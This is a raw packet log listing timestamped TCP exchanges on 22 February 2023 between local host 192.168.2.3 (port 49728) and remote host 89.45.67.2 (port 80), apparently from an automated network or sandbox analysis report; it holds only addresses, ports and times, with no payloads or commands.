Feb 22, 2023 09:44:18.095592976 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.095715046 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.095802069 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.095854044 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.096498966 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.096529007 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.096612930 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.096612930 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.096731901 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.097681046 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.097779989 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.098304033 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.098402977 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.098500967 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.098758936 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.098783016 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.098830938 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.098859072 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.098911047 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.098964930 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.099028111 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.099056005 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.099076986 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.099153996 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.099219084 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.135693073 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.135896921 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.138442039 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.138497114 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.138647079 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.138998985 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.139027119 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.139128923 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.139610052 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.139641047 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.139664888 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.139686108 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.139723063 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.139857054 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.140775919 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.140826941 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.140882015 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.140929937 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.141052961 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.141374111 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.141458035 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.141880035 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.141908884 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.141951084 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.141983986 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.142473936 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.142571926 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.143174887 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.143268108 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.143719912 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.143775940 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.143801928 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.143817902 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.143954039 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.144416094 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.144445896 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.144504070 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.144536972 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.144548893 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.144609928 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.180948973 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.181010008 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.181190014 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.183696985 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.183815002 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.183864117 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.183887959 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.183984995 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.184130907 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.184196949 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.184221029 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.184309959 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.184356928 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.184618950 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.184752941 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.185070992 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.185154915 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.186912060 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.186944962 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.187047958 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.187480927 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.187591076 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.187758923 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.188054085 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.188128948 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.188630104 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.188677073 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.188746929 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.189160109 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.189186096 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.189245939 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.189294100 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.189802885 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.189826965 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.189881086 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.189882994 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.189946890 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.190298080 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.224282980 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.224484921 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.227030039 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.227082968 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.227205038 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.227221012 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.227221966 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.227369070 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.227410078 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.227432966 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.227437973 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.227437973 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.227504015 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.227598906 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.227781057 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.227801085 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.227864981 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.227909088 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.228049040 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.228111029 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.228164911 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.230067968 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.230236053 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.230413914 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.230503082 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.230937958 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.231029987 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.231620073 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.231712103 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.232058048 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.232110023 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.232151031 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.232156038 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.232269049 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.232770920 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.232862949 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.233181000 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.233237982 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.233258963 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.233298063 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.267430067 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.267451048 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.267587900 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.267795086 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.270210981 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.270350933 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.270380974 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.270400047 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.270442009 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.270484924 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.270525932 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.270571947 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.270586967 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.270641088 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.270657063 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.270726919 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.270778894 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.270844936 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.270931005 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.270988941 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.273135900 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.273212910 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.273291111 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.273333073 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.273345947 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.273407936 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.273926020 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.274017096 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.274137974 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.274808884 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.274883986 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.274983883 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.275072098 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.275149107 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.275223970 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.275352955 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.275415897 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.275856972 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.275924921 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.276158094 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.276177883 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.276216984 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.276295900 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.310523987 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.310677052 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.310709000 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.310772896 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.310888052 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.313466072 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.313515902 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.313532114 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.313662052 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.313714981 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.313795090 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.313838959 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.313910961 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.313952923 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.314019918 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.314063072 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.314063072 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.314121008 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.316386938 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.316427946 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.316561937 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.316672087 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.316968918 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.317070007 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.317892075 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.317991972 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.318023920 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.318094015 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.318248987 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.318315983 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.318327904 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.318448067 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.318804979 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.318911076 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.319170952 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.319194078 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.319211960 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.319246054 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.319292068 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.319399118 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.353997946 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.354046106 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.354203939 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.354360104 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.356744051 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.356789112 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.356843948 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.356918097 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.356961966 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.356967926 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.357086897 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.357108116 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.357125044 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.357141018 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.357144117 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.357161999 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.357175112 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.357261896 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.357300043 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.357357025 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.359575987 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.359621048 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.359677076 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.359729052 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.359745026 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.359971046 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.360153913 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.360254049 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.361041069 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.361071110 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.361160040 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.361175060 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.361305952 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.361357927 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.361404896 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.361432076 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.361783028 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.361861944 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.362309933 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.362341881 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.362425089 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.362476110 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.362564087 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.397310972 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.397480011 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.400120974 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.400177956 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.400197029 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.400217056 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.400233030 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.400288105 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.400322914 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.400327921 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.400491953 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.400538921 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.400549889 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.400629997 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.400671005 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.402821064 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.402857065 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.402873039 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.403006077 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.403136015 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.403194904 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.403264046 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.404033899 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.404063940 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.404123068 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.404155016 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.404216051 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.404270887 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.404277086 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.404293060 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.404314041 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.404344082 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.404369116 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.404373884 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.404433012 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.404714108 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.404784918 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.405289888 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.405366898 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.405384064 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.405390024 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.405435085 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.405467987 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.405559063 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.440479994 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.440521002 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.440690041 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.443389893 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.443416119 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.443432093 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.443543911 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.443654060 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.443670034 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.443752050 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.443777084 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.443799019 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.443835020 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.443857908 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.443911076 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.446091890 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.446113110 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.446127892 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.446279049 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.446435928 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.447107077 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.447233915 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.447320938 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.447335958 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.447387934 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.447390079 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.447428942 CET	80	49728	89.45.67.2	192.168.2.3
